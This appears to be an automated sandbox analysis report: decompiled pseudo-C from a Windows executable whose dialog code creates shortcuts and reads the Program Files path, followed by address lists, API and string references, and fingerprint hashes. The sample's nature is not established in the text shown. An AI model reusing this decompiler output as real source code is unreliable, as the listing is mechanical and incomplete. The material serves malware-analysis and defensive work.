									__ebp - 0x7c84 = E00243FD6(0x28846a, __edi, L"%s%s%u", __ebp - 0x7c84);
									__eax = E0024A0C0(0x28846a);
									__eflags = __al;
									if(__al == 0) {
										break;
									}
									__esi =  &(__esi->i);
									__eflags = __esi;
									_push(__esi);
								}
								__eax = SetDlgItemTextW( *(__ebp + 8), 0x66, 0x28846a);
								__eflags =  *(__ebp - 0x5c84);
								if( *(__ebp - 0x5c84) == 0) {
									goto L165;
								}
								__eflags =  *0x295b72;
								if( *0x295b72 != 0) {
									goto L165;
								}
								__eax = 0;
								 *(__ebp - 0x143c) = __ax;
								__eax = __ebp - 0x5c84;
								_push(0x2c);
								_push(__ebp - 0x5c84);
								__eax = E00261438(__ecx);
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax != 0) {
									L109:
									__eflags =  *(__ebp - 0x143c);
									if( *(__ebp - 0x143c) == 0) {
										__ebp - 0x1bc8c = __ebp - 0x5c84;
										E0024FD96(__ebp - 0x5c84, __ebp - 0x1bc8c, 0x1000) = __ebp - 0x19c8c;
										__ebp - 0x143c = E0024FD96(__ebp - 0x143c, __ebp - 0x19c8c, 0x200);
									}
									__ebp - 0x5c84 = E0025A472(__ebp - 0x5c84);
									__eax = 0;
									 *(__ebp - 0x4c84) = __ax;
									__ebp - 0x143c = __ebp - 0x5c84;
									__eax = E00259EB3( *(__ebp + 8), __ebp - 0x5c84, __ebp - 0x143c, 0x24);
									__eflags = __eax - 6;
									if(__eax == 6) {
										goto L165;
									} else {
										__eax = 0;
										__eflags = 0;
										 *0x287447 = 1;
										 *0x28846a = __ax;
										__eax = EndDialog( *(__ebp + 8), 1);
										goto L113;
									}
								}
								__edx = 0;
								__esi = 0;
								__eflags =  *(__ebp - 0x5c84) - __dx;
								if( *(__ebp - 0x5c84) == __dx) {
									goto L109;
								}
								__ecx = 0;
								__eax = __ebp - 0x5c84;
								while(1) {
									__eflags =  *__eax - 0x40;
									if( *__eax == 0x40) {
										break;
									}
									__esi =  &(__esi->i);
									__eax = __ebp - 0x5c84;
									__ecx = __esi + __esi;
									__eax = __ebp - 0x5c84 + __ecx;
									__eflags =  *__eax - __dx;
									if( *__eax != __dx) {
										continue;
									}
									goto L109;
								}
								__ebp - 0x5c82 = __ebp - 0x5c82 + __ecx;
								__ebp - 0x143c = E0024FD96(__ebp - 0x143c, __ebp - 0x5c82 + __ecx, 0x200);
								__eax = 0;
								__eflags = 0;
								 *(__ebp + __esi * 2 - 0x5c84) = __ax;
								goto L109;
							case 8:
								__eflags = __ebx - 3;
								if(__ebx == 3) {
									__eflags =  *(__ebp - 0x5c84) - __di;
									if(__eflags != 0) {
										__eax = __ebp - 0x5c84;
										_push(__ebp - 0x5c84);
										__eax = E00266F4C(__ebx, __edi);
										_pop(__ecx);
										 *0x29dc8c = __eax;
									}
									__eax = __ebp + 0xc;
									_push(__ebp + 0xc);
									 *0x29dc88 = E0025AAEA(__ecx, __edx, __eflags);
								}
								 *0x295b73 = 1;
								goto L165;
							case 9:
								__eflags = __ebx - 5;
								if(__ebx != 5) {
									L92:
									 *0x29dc90 = 1;
									goto L165;
								}
								_push(1);
								L91:
								__eax = __ebp - 0x5c84;
								_push(__ebp - 0x5c84);
								_push( *(__ebp + 8));
								__eax = E0025CC9F(__ebp);
								goto L92;
							case 0xa:
								__eflags = __ebx - 6;
								if(__ebx != 6) {
									goto L165;
								}
								__eax = 0;
								 *(__ebp - 0x2c3c) = __ax;
								__eax =  *(__ebp - 0x1bc8c) & 0x0000ffff;
								__eax = E00266280( *(__ebp - 0x1bc8c) & 0x0000ffff);
								_push(0x800);
								__eflags = __eax - 0x50;
								if(__eax == 0x50) {
									_push(0x29ab7a);
									__eax = __ebp - 0x2c3c;
									_push(__ebp - 0x2c3c);
									__eax = E0024FD96();
									 *(__ebp - 0x14) = 2;
								} else {
									__eflags = __eax - 0x54;
									__eax = __ebp - 0x2c3c;
									if(__eflags == 0) {
										_push(0x299b7a);
										_push(__eax);
										__eax = E0024FD96();
										 *(__ebp - 0x14) = 7;
									} else {
										_push(0x29bb7a);
										_push(__eax);
										__eax = E0024FD96();
										 *(__ebp - 0x14) = 0x10;
									}
								}
								__eax = 0;
								 *(__ebp - 0x9c8c) = __ax;
								 *(__ebp - 0x1c3c) = __ax;
								__ebp - 0x19c8c = __ebp - 0x6c84;
								__eax = E00265646(__ebp - 0x6c84, __ebp - 0x19c8c);
								_pop(__ecx);
								_pop(__ecx);
								_push(0x22);
								_pop(__ebx);
								__eflags =  *(__ebp - 0x6c84) - __bx;
								if( *(__ebp - 0x6c84) != __bx) {
									__ebp - 0x6c84 = E0024A0C0(__ebp - 0x6c84);
									__eflags = __al;
									if(__al != 0) {
										goto L150;
									}
									__ebx = __edi;
									__esi = __ebp - 0x6c84;
									__eflags =  *(__ebp - 0x6c84) - __bx;
									if( *(__ebp - 0x6c84) == __bx) {
										goto L150;
									}
									_push(0x20);
									_pop(__ecx);
									do {
										__eax = __esi->i & 0x0000ffff;
										__eflags = __ax - __cx;
										if(__ax == __cx) {
											L138:
											__edi = __eax;
											__eax = 0;
											__esi->i = __ax;
											__ebp - 0x6c84 = E0024A0C0(__ebp - 0x6c84);
											__eflags = __al;
											if(__al == 0) {
												__esi->i = __di;
												L146:
												_push(0x20);
												_pop(__ecx);
												__edi = 0;
												__eflags = 0;
												goto L147;
											}
											_push(0x2f);
											_pop(__eax);
											__ebx = __esi;
											__eflags = __di - __ax;
											if(__di != __ax) {
												_push(0x20);
												_pop(__eax);
												do {
													__esi =  &(__esi->i);
													__eflags = __esi->i - __ax;
												} while (__esi->i == __ax);
												_push(__esi);
												__eax = __ebp - 0x1c3c;
												L144:
												_push(__eax);
												__eax = E00265646();
												_pop(__ecx);
												_pop(__ecx);
												 *__ebx = __di;
												goto L146;
											}
											 *(__ebp - 0x1c3c) = __ax;
											__eax =  &(__esi->i);
											_push( &(__esi->i));
											__eax = __ebp - 0x1c3a;
											goto L144;
										}
										_push(0x2f);
										_pop(__edx);
										__eflags = __ax - __dx;
										if(__ax != __dx) {
											goto L147;
										}
										goto L138;
										L147:
										__esi =  &(__esi->i);
										__eflags = __esi->i - __di;
									} while (__esi->i != __di);
									__eflags = __ebx;
									if(__ebx != 0) {
										__eax = 0;
										__eflags = 0;
										 *__ebx = __ax;
									}
									goto L150;
								} else {
									__ebp - 0x19c8a = __ebp - 0x6c84;
									E00265646(__ebp - 0x6c84, __ebp - 0x19c8a) = __ebp - 0x6c82;
									_push(__ebx);
									_push(__ebp - 0x6c82);
									__eax = E00261438(__ecx);
									__esp = __esp + 0x10;
									__eflags = __eax;
									if(__eax != 0) {
										__ecx = 0;
										 *__eax = __cx;
										__ebp - 0x1c3c = E00265646(__ebp - 0x1c3c, __ebp - 0x1c3c);
										_pop(__ecx);
										_pop(__ecx);
									}
									L150:
									__eflags =  *((short*)(__ebp - 0x11c8c));
									__ebx = 0x800;
									if( *((short*)(__ebp - 0x11c8c)) != 0) {
										__ebp - 0x9c8c = __ebp - 0x11c8c;
										__eax = E0024B179(__ebp - 0x11c8c, __ebp - 0x9c8c, 0x800);
									}
									__ebp - 0xbc8c = __ebp - 0x6c84;
									__eax = E0024B179(__ebp - 0x6c84, __ebp - 0xbc8c, __ebx);
									__eflags =  *(__ebp - 0x2c3c);
									if(__eflags == 0) {
										__ebp - 0x2c3c = E0025AA7E(__ecx, __ebp - 0x2c3c,  *(__ebp - 0x14));
									}
									__ebp - 0x2c3c = E0024B147(__eflags, __ebp - 0x2c3c, __ebx);
									__eflags =  *((short*)(__ebp - 0x17c8c));
									if(__eflags != 0) {
										__ebp - 0x17c8c = __ebp - 0x2c3c;
										E0024FD6E(__eflags, __ebp - 0x2c3c, __ebp - 0x17c8c, __ebx) = __ebp - 0x2c3c;
										__eax = E0024B147(__eflags, __ebp - 0x2c3c, __ebx);
									}
									__ebp - 0x2c3c = __ebp - 0xcc8c;
									__eax = E00265646(__ebp - 0xcc8c, __ebp - 0x2c3c);
									__eflags =  *(__ebp - 0x13c8c);
									__eax = __ebp - 0x13c8c;
									_pop(__ecx);
									_pop(__ecx);
									if(__eflags == 0) {
										__eax = __ebp - 0x19c8c;
									}
									__ebp - 0x2c3c = E0024FD6E(__eflags, __ebp - 0x2c3c, __ebp - 0x2c3c, __ebx);
									__eax = __ebp - 0x2c3c;
									__eflags = E0024B3D3(__ebp - 0x2c3c);
									if(__eflags == 0) {
										L160:
										__ebp - 0x2c3c = E0024FD6E(__eflags, __ebp - 0x2c3c, L".lnk", __ebx);
										goto L161;
									} else {
										__eflags = __eax;
										if(__eflags == 0) {
											L161:
											_push(1);
											__eax = __ebp - 0x2c3c;
											_push(__ebp - 0x2c3c);
											E00249F8F(__ecx, __ebp) = __ebp - 0xbc8c;
											__ebp - 0xac8c = E00265646(__ebp - 0xac8c, __ebp - 0xbc8c);
											_pop(__ecx);
											_pop(__ecx);
											__ebp - 0xac8c = E0024BC0F(__eflags, __ebp - 0xac8c);
											__ecx =  *(__ebp - 0x1c3c) & 0x0000ffff;
											__eax = __ebp - 0x1c3c;
											__ecx =  ~( *(__ebp - 0x1c3c) & 0x0000ffff);
											__edx = __ebp - 0x9c8c;
											__esi = __ebp - 0xac8c;
											asm("sbb ecx, ecx");
											__ecx =  ~( *(__ebp - 0x1c3c) & 0x0000ffff) & __ebp - 0x00001c3c;
											 *(__ebp - 0x9c8c) & 0x0000ffff =  ~( *(__ebp - 0x9c8c) & 0x0000ffff);
											asm("sbb eax, eax");
											__eax =  ~( *(__ebp - 0x9c8c) & 0x0000ffff) & __ebp - 0x00009c8c;
											 *(__ebp - 0xac8c) & 0x0000ffff =  ~( *(__ebp - 0xac8c) & 0x0000ffff);
											__eax = __ebp - 0x15c8c;
											asm("sbb edx, edx");
											__edx =  ~( *(__ebp - 0xac8c) & 0x0000ffff) & __esi;
											E0025A564(__ebp - 0x15c8c) = __ebp - 0x2c3c;
											__ebp - 0xbc8c = E00259B4C(__ecx, __edi, __ebp - 0xbc8c, __ebp - 0x2c3c,  ~( *(__ebp - 0xac8c) & 0x0000ffff) & __esi, __ebp - 0xbc8c,  ~( *(__ebp - 0x9c8c) & 0x0000ffff) & __ebp - 0x00009c8c,  ~( *(__ebp - 0x1c3c) & 0x0000ffff) & __ebp - 0x00001c3c);
											__eflags =  *(__ebp - 0xcc8c);
											if( *(__ebp - 0xcc8c) != 0) {
												_push(__edi);
												__eax = __ebp - 0xcc8c;
												_push(__ebp - 0xcc8c);
												_push(5);
												_push(0x1000);
												__eax =  *0x2a1078();
											}
											goto L165;
										}
										goto L160;
									}
								}
							case 0xb:
								__eflags = __ebx - 7;
								if(__ebx == 7) {
									 *0x289470 = 1;
								}
								goto L165;
							case 0xc:
								__eax =  *(__ebp - 0x5c84) & 0x0000ffff;
								__eax = E00266280( *(__ebp - 0x5c84) & 0x0000ffff);
								__eflags = __eax - 0x46;
								if(__eax == 0x46) {
									 *0x287444 = 1;
								} else {
									__eflags = __eax - 0x55;
									if(__eax == 0x55) {
										 *0x287445 = 1;
									} else {
										__eax = 0;
										 *0x287444 = __al;
										 *0x287445 = __al;
									}
								}
								goto L165;
							case 0xd:
								 *0x29dc91 = 1;
								__eax = __eax + 0x29dc91;
								_t110 = __esi + 0x39;
								 *_t110 =  *(__esi + 0x39) + __esp;
								__eflags =  *_t110;
								__ebp = 0xffffa37c;
								if( *_t110 != 0) {
									_t112 = __ebp - 0x5c84; // 0xffff46f8
									__eax = _t112;
									_push(_t112);
									 *0x27d5fc = E002516F4();
								}
								goto L165;
						}
						L4:
						_t218 = E0025A647(_t218, _t293);
						_t293 = _t293 + 0x2000;
						_t289 = _t289 - 1;
						if(_t289 != 0) {
							goto L4;
						} else {
							_t294 = _t289;
							goto L6;
						}
						L165:
						_push(0x1000);
						_t203 = _t298 - 0xe; // 0xffffa36e
						_t204 = _t298 - 0xd; // 0xffffa36f
						_t205 = _t298 - 0x5c84; // 0xffff46f8
						_t206 = _t298 - 0xfc8c; // 0xfffea6f0
						_push( *((intOrPtr*)(_t298 + 0xc)));
						_t213 = E0025A986();
						_t274 =  *((intOrPtr*)(_t298 + 0x10));
						 *((intOrPtr*)(_t298 + 0xc)) = _t213;
					} while (_t213 != 0);
				}
			}

0x0025bd35
0x0025bd3a
0x0025bd3f
0x0025bd44
0x0025bd4d
0x0025c917
0x0025c91a
0x0025c924
0x0025c924
0x0025bd53
0x0025bd5b
0x0025bd5f
0x0025bd66
0x0025bd6d
0x0025bd6e
0x0025bd71
0x0025bd78
0x0025bd7d
0x0025bd84
0x0025bd89
0x0025bd8b
0x0025bd91
0x0025bd97
0x0025bd97
0x00000000
0x0025bdac
0x0025bdc3
0x0025bdc7
0x00000000
0x0025bdc9
0x00000000
0x0025bdc9
0x0025bdc7
0x0025bdd1
0x00000000
0x00000000
0x0025bdd7
0x00000000
0x0025bdde
0x0025bde1
0x0025bdf4
0x0025be1a
0x0025be2e
0x0025be31
0x0025be3c
0x0025bf80
0x0025bf80
0x0025bf88
0x0025bf8e
0x0025bf93
0x0025bf95
0x00000000
0x00000000
0x0025be4e
0x0025be54
0x0025be5a
0x0025bf00
0x0025bf07
0x0025bf0d
0x0025bf10
0x00000000
0x00000000
0x0025bf19
0x0025bf1f
0x0025bf21
0x00000000
0x0025bf23
0x0025bf23
0x0025bf25
0x0025bf26
0x0025bf2a
0x0025bf3e
0x0025bf43
0x0025bf4d
0x0025bf53
0x0025bf56
0x0025bf28
0x0025bf28
0x0025bf29
0x00000000
0x0025bf58
0x0025bf66
0x0025bf6c
0x0025bf6e
0x0025bf7a
0x0025bf7a
0x00000000
0x0025bf6e
0x0025bf56
0x0025bf21
0x0025be6f
0x0025be7c
0x0025be8d
0x0025be90
0x0025be93
0x0025bea6
0x0025bead
0x0025beb2
0x0025beb4
0x00000000
0x00000000
0x0025beba
0x0025bec1
0x0025bec6
0x0025becb
0x0025bed7
0x0025bedc
0x0025bedf
0x0025bee6
0x0025bee8
0x0025bee9
0x0025bef3
0x0025bef9
0x0025befa
0x00000000
0x0025befa
0x0025be9c
0x0025bea2
0x0025bea4
0x00000000
0x00000000
0x00000000
0x0025bea4
0x0025bf9b
0x0025bfa5
0x0025bfa5
0x00000000
0x00000000
0x0025bfaf
0x0025bfb1
0x00000000
0x0025bfb7
0x0025bfb7
0x0025bfbc
0x0025bfbe
0x0025bfc1
0x0025bfc3
0x0025bfd0
0x0025bfd5
0x0025bfd6
0x0025bfd6
0x0025bfd7
0x0025bfda
0x0025bfdc
0x0025bfe6
0x0025bfe9
0x0025bfef
0x0025bff1
0x0025bfde
0x0025bfde
0x0025bfde
0x0025bff6
0x0025bff8
0x0025c001
0x0025c001
0x0025c004
0x0025c009
0x0025c012
0x0025c013
0x0025c019
0x0025c01e
0x0025c021
0x0025c023
0x0025c03c
0x0025c03c
0x0025c03e
0x0025c045
0x0025c04a
0x00000000
0x0025c03e
0x0025c025
0x0025c02a
0x0025c02c
0x0025c02e
0x0025c02e
0x0025c030
0x0025c030
0x0025c035
0x0025c03a
0x0025c03b
0x00000000
0x0025c03b
0x00000000
0x0025c050
0x0025c052
0x0025c062
0x0025c062
0x00000000
0x00000000
0x0025c06d
0x0025c06f
0x00000000
0x00000000
0x0025c075
0x0025c07c
0x00000000
0x00000000
0x0025c082
0x0025c084
0x0025c08a
0x0025c08c
0x0025c093
0x0025c094
0x0025c09b
0x0025c09d
0x0025c09d
0x0025c0a4
0x0025c0a9
0x0025c0af
0x0025c0b1
0x00000000
0x0025c0b7
0x0025c0b7
0x0025c0ba
0x0025c0bc
0x0025c0bd
0x0025c0c0
0x0025c0e9
0x0025c0e9
0x0025c0ec
0x0025c1d1
0x0025c1da
0x0025c1df
0x0025c1df
0x0025c1e1
0x0025c1e1
0x0025c1e3
0x0025c1e5
0x0025c1ec
0x0025c1f1
0x0025c1f2
0x0025c1f3
0x0025c1f5
0x0025c1f7
0x0025c1fb
0x0025c1fd
0x0025c1fd
0x0025c1ff
0x0025c1ff
0x0025c1fb
0x0025c203
0x0025c209
0x0025c216
0x0025c21d
0x0025c22d
0x0025c237
0x0025c245
0x0025c24b
0x0025c253
0x0025c258
0x0025c259
0x0025c25a
0x0025c25c
0x0025c270
0x0025c270
0x00000000
0x0025c25c
0x0025c0f2
0x0025c0f5
0x0025c102
0x0025c102
0x0025c105
0x0025c107
0x0025c108
0x0025c10a
0x0025c10b
0x0025c110
0x0025c115
0x0025c11b
0x0025c11d
0x0025c11f
0x0025c122
0x0025c129
0x0025c12a
0x0025c130
0x0025c131
0x0025c134
0x0025c135
0x0025c136
0x0025c13b
0x0025c13e
0x0025c144
0x0025c14d
0x0025c150
0x0025c155
0x0025c157
0x0025c159
0x0025c15b
0x0025c15b
0x0025c15d
0x0025c15d
0x0025c15f
0x0025c15f
0x0025c167
0x0025c16e
0x0025c170
0x0025c177
0x0025c17d
0x0025c17f
0x0025c180
0x0025c188
0x0025c197
0x0025c197
0x0025c188
0x0025c1a2
0x0025c1a4
0x0025c1b3
0x0025c1b9
0x0025c1bf
0x0025c1ca
0x0025c1ca
0x00000000
0x0025c1bf
0x0025c0f7
0x0025c0fc
0x00000000
0x00000000
0x00000000
0x0025c0fc
0x0025c0c2
0x0025c0c6
0x00000000
0x00000000
0x0025c0c8
0x0025c0cb
0x0025c0cd
0x0025c0d0
0x00000000
0x00000000
0x0025c0df
0x00000000
0x0025c0df
0x00000000
0x0025c27b
0x0025c27c
0x0025c281
0x0025c283
0x0025c286
0x0025c286
0x00000000
0x0025c2bc
0x0025c2c3
0x0025c2c5
0x0025c2c5
0x0025c2c7
0x0025c2f6
0x0025c2f6
0x0025c2fc
0x00000000
0x0025c2fc
0x0025c2c9
0x0025c2c9
0x0025c2cc
0x0025c2e5
0x0025c2eb
0x0025c2eb
0x00000000
0x0025c2eb
0x0025c2ce
0x0025c2ce
0x0025c2d1
0x00000000
0x00000000
0x0025c2d3
0x0025c2d3
0x0025c2d6
0x00000000
0x00000000
0x0025c2dc
0x00000000
0x00000000
0x0025c349
0x0025c34c
0x00000000
0x00000000
0x0025c34e
0x0025c35a
0x0025c35f
0x0025c360
0x0025c361
0x0025c363
0x00000000
0x00000000
0x0025c365
0x00000000
0x00000000
0x0025c3ab
0x0025c3ae
0x0025c52f
0x0025c52f
0x0025c532
0x0025c538
0x0025c53f
0x0025c541
0x0025c541
0x0025c54b
0x0025c54b
0x00000000
0x0025c532
0x0025c3b4
0x0025c3ba
0x0025c3c8
0x0025c3d4
0x0025c3d6
0x0025c3d8
0x0025c3dd
0x0025c3dd
0x0025c3f5
0x0025c402
0x0025c407
0x0025c409
0x00000000
0x00000000
0x0025c3db
0x0025c3db
0x0025c3dc
0x0025c3dc
0x0025c415
0x0025c41b
0x0025c423
0x00000000
0x00000000
0x0025c429
0x0025c430
0x00000000
0x00000000
0x0025c436
0x0025c438
0x0025c43f
0x0025c445
0x0025c447
0x0025c448
0x0025c44d
0x0025c44e
0x0025c44f
0x0025c451
0x0025c4a5
0x0025c4a5
0x0025c4ad
0x0025c4bb
0x0025c4cc
0x0025c4da
0x0025c4da
0x0025c4e6
0x0025c4eb
0x0025c4ed
0x0025c4fd
0x0025c507
0x0025c50c
0x0025c50f
0x00000000
0x0025c515
0x0025c51a
0x0025c51a
0x0025c51c
0x0025c523
0x0025c529
0x00000000
0x0025c529
0x0025c50f
0x0025c453
0x0025c455
0x0025c457
0x0025c45e
0x00000000
0x00000000
0x0025c460
0x0025c462
0x0025c468
0x0025c468
0x0025c46c
0x00000000
0x00000000
0x0025c46e
0x0025c46f
0x0025c475
0x0025c478
0x0025c47a
0x0025c47d
0x00000000
0x00000000
0x00000000
0x0025c47f
0x0025c48c
0x0025c496
0x0025c49b
0x0025c49b
0x0025c49d
0x00000000
0x00000000
0x0025c557
0x0025c55a
0x0025c55c
0x0025c563
0x0025c565
0x0025c56b
0x0025c56c
0x0025c571
0x0025c572
0x0025c572
0x0025c577
0x0025c57a
0x0025c580
0x0025c580
0x0025c585
0x00000000
0x00000000
0x0025c591
0x0025c594
0x0025c375
0x0025c375
0x00000000
0x0025c375
0x0025c59a
0x0025c366
0x0025c366
0x0025c36c
0x0025c36d
0x0025c370
0x00000000
0x00000000
0x0025c5a1
0x0025c5a4
0x00000000
0x00000000
0x0025c5aa
0x0025c5ac
0x0025c5b3
0x0025c5bb
0x0025c5c1
0x0025c5c6
0x0025c5c9
0x0025c5fe
0x0025c603
0x0025c609
0x0025c60a
0x0025c60f
0x0025c5cb
0x0025c5cb
0x0025c5ce
0x0025c5d4
0x0025c5ea
0x0025c5ef
0x0025c5f0
0x0025c5f5
0x0025c5d6
0x0025c5d6
0x0025c5db
0x0025c5dc
0x0025c5e1
0x0025c5e1
0x0025c5d4
0x0025c616
0x0025c618
0x0025c61f
0x0025c62d
0x0025c634
0x0025c639
0x0025c63a
0x0025c63b
0x0025c63d
0x0025c63e
0x0025c645
0x0025c695
0x0025c69a
0x0025c69c
0x00000000
0x00000000
0x0025c6a2
0x0025c6a4
0x0025c6aa
0x0025c6b1
0x00000000
0x00000000
0x0025c6b3
0x0025c6b5
0x0025c6b6
0x0025c6b6
0x0025c6b9
0x0025c6bc
0x0025c6c6
0x0025c6c6
0x0025c6c8
0x0025c6ca
0x0025c6d4
0x0025c6d9
0x0025c6db
0x0025c719
0x0025c71c
0x0025c71c
0x0025c71e
0x0025c71f
0x0025c71f
0x00000000
0x0025c71f
0x0025c6dd
0x0025c6df
0x0025c6e0
0x0025c6e2
0x0025c6e5
0x0025c6fa
0x0025c6fc
0x0025c6fd
0x0025c6fd
0x0025c700
0x0025c700
0x0025c705
0x0025c706
0x0025c70c
0x0025c70c
0x0025c70d
0x0025c712
0x0025c713
0x0025c714
0x00000000
0x0025c714
0x0025c6e7
0x0025c6ee
0x0025c6f1
0x0025c6f2
0x00000000
0x0025c6f2
0x0025c6be
0x0025c6c0
0x0025c6c1
0x0025c6c4
0x00000000
0x00000000
0x00000000
0x0025c721
0x0025c721
0x0025c724
0x0025c724
0x0025c729
0x0025c72b
0x0025c72d
0x0025c72d
0x0025c72f
0x0025c72f
0x00000000
0x0025c647
0x0025c64e
0x0025c65a
0x0025c660
0x0025c661
0x0025c662
0x0025c667
0x0025c66a
0x0025c66c
0x0025c672
0x0025c674
0x0025c682
0x0025c687
0x0025c688
0x0025c688
0x0025c732
0x0025c732
0x0025c73a
0x0025c73f
0x0025c749
0x0025c750
0x0025c750
0x0025c75d
0x0025c764
0x0025c769
0x0025c771
0x0025c77d
0x0025c77d
0x0025c78a
0x0025c78f
0x0025c797
0x0025c7a1
0x0025c7ae
0x0025c7b5
0x0025c7b5
0x0025c7c1
0x0025c7c8
0x0025c7cd
0x0025c7d5
0x0025c7db
0x0025c7dc
0x0025c7dd
0x0025c7df
0x0025c7df
0x0025c7f4
0x0025c7f9
0x0025c805
0x0025c807
0x0025c818
0x0025c825
0x00000000
0x0025c809
0x0025c814
0x0025c816
0x0025c82a
0x0025c82a
0x0025c82c
0x0025c832
0x0025c838
0x0025c846
0x0025c84b
0x0025c84c
0x0025c854
0x0025c859
0x0025c860
0x0025c866
0x0025c868
0x0025c86e
0x0025c874
0x0025c876
0x0025c87f
0x0025c882
0x0025c884
0x0025c88d
0x0025c890
0x0025c896
0x0025c899
0x0025c8a2
0x0025c8b1
0x0025c8b6
0x0025c8be
0x0025c8c0
0x0025c8c1
0x0025c8c7
0x0025c8c8
0x0025c8ca
0x0025c8cf
0x0025c8cf
0x00000000
0x0025c8be
0x00000000
0x0025c816
0x0025c807
0x00000000
0x0025c8d7
0x0025c8da
0x0025c8dc
0x0025c8dc
0x00000000
0x00000000
0x0025c308
0x0025c310
0x0025c316
0x0025c319
0x0025c33d
0x0025c31b
0x0025c31b
0x0025c31e
0x0025c331
0x0025c320
0x0025c320
0x0025c322
0x0025c327
0x0025c327
0x0025c31e
0x00000000
0x00000000
0x0025c381
0x0025c382
0x0025c387
0x0025c387
0x0025c387
0x0025c38a
0x0025c38f
0x0025c395
0x0025c395
0x0025c39b
0x0025c3a1
0x0025c3a1
0x00000000
0x00000000
0x0025bd98
0x0025bd9a
0x0025bd9f
0x0025bda5
0x0025bda8
0x00000000
0x0025bdaa
0x0025bdaa
0x00000000
0x0025bdaa
0x0025c8e3
0x0025c8e3
0x0025c8e8
0x0025c8ec
0x0025c8f0
0x0025c8f7
0x0025c8fe
0x0025c901
0x0025c906
0x0025c909
0x0025c90c
0x0025c916

APIs

__EH_prolog.LIBCMT ref: 0025BD3A

Part of subcall function 0025A986: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0025AA4E

SetWindowTextW.USER32(?,?), ref: 0025C062
_wcsrchr.LIBVCRUNTIME ref: 0025C1EC
GetDlgItem.USER32(?,00000066), ref: 0025C227
SetWindowTextW.USER32(00000000,?), ref: 0025C237
SendMessageW.USER32(00000000,00000143,00000000,00289472), ref: 0025C245
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0025C270

Strings

%s.%d.tmp, xrefs: 0025BF31
Software\Microsoft\Windows\CurrentVersion, xrefs: 0025C10B
ProgramFilesDir, xrefs: 0025C136
<br>, xrefs: 0025BFC5

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 3564274579-312220925
Opcode ID: 323b7fa1e11bb668bd65525f472f8dc1ceb7699bace69b94426912de7d0efd0f
Instruction ID: 9c7e7f63569f6955f336d874fef82e6fb863eac8925e4b9acc850ae712e425d4
Opcode Fuzzy Hash: 323b7fa1e11bb668bd65525f472f8dc1ceb7699bace69b94426912de7d0efd0f
Instruction Fuzzy Hash: F2E16372910219AEEF25EBA0DD49DEE737CAB05351F1040A6F949E3041EF709FA88F64

Uniqueness

Uniqueness Score: -1.00%

Function 0024D281 Relevance: 25.1, APIs: 4, Strings: 10, Instructions: 555
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E0024D281(intOrPtr* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t200;
				void* _t201;
				WCHAR* _t202;
				void* _t207;
				signed int _t216;
				signed int _t219;
				signed int _t222;
				signed int _t232;
				void* _t233;
				void* _t236;
				signed int _t239;
				signed int _t241;
				signed int _t242;
				signed int _t243;
				signed int _t248;
				signed int _t252;
				signed int _t266;
				signed int _t271;
				signed int _t272;
				signed int _t274;
				signed int _t276;
				signed int _t277;
				void* _t278;
				signed int _t283;
				char* _t284;
				signed int _t288;
				short _t291;
				void* _t292;
				signed int _t298;
				signed int _t303;
				void* _t306;
				void* _t308;
				void* _t311;
				signed int _t320;
				intOrPtr* _t322;
				unsigned int _t332;
				signed int _t334;
				unsigned int _t337;
				signed int _t340;
				void* _t347;
				signed int _t352;
				signed int _t355;
				signed int _t356;
				signed int _t361;
				signed int _t365;
				void* _t374;
				signed int _t376;
				signed int _t377;
				void* _t378;
				void* _t379;
				intOrPtr* _t380;
				signed int _t381;
				signed int _t384;
				signed int _t385;
				signed int _t386;
				signed int _t387;
				signed int _t388;
				intOrPtr* _t391;
				signed int _t393;
				void* _t394;
				void* _t396;
				void* _t398;
				void* _t402;
				void* _t403;

				_t374 = __edx;
				_t322 = __ecx;
				E0025E0E4(E00271D65, _t394);
				E0025E1C0();
				_t200 = 0x5c;
				_push(0x42f4);
				_push( *((intOrPtr*)(_t394 + 8)));
				_t391 = _t322;
				 *((intOrPtr*)(_t394 - 0x40)) = _t200;
				 *((intOrPtr*)(_t394 - 0x3c)) = _t391;
				_t201 = E00261438(_t322);
				_t320 = 0;
				_t400 = _t201;
				_t202 = _t394 - 0x12dc;
				if(_t201 != 0) {
					E0024FD96(_t202,  *((intOrPtr*)(_t394 + 8)), 0x800);
				} else {
					GetModuleFileNameW(0, _t202, 0x800);
					 *((short*)(E0024BBC5(_t400, _t394 - 0x12dc))) = 0;
					E0024FD6E(_t400, _t394 - 0x12dc,  *((intOrPtr*)(_t394 + 8)), 0x800);
				}
				E002495B6(_t394 - 0x2300);
				_push(4);
				 *(_t394 - 4) = _t320;
				_push(_t394 - 0x12dc);
				if(E00249950(_t394 - 0x2300, _t391) == 0) {
					L57:
					_t207 = E002495E8(_t394 - 0x2300, _t391); // executed
					 *[fs:0x0] =  *((intOrPtr*)(_t394 - 0xc));
					return _t207;
				} else {
					_t384 = _t320;
					_t402 =  *0x27d5f4 - _t384; // 0x63
					if(_t402 <= 0) {
						L7:
						E002658F0(_t320, _t384, _t391,  *_t391,  *((intOrPtr*)(_t391 + 4)), 4, E0024CEF0);
						E002658F0(_t320, _t384, _t391,  *((intOrPtr*)(_t391 + 0x14)),  *((intOrPtr*)(_t391 + 0x18)), 4, E0024CE50);
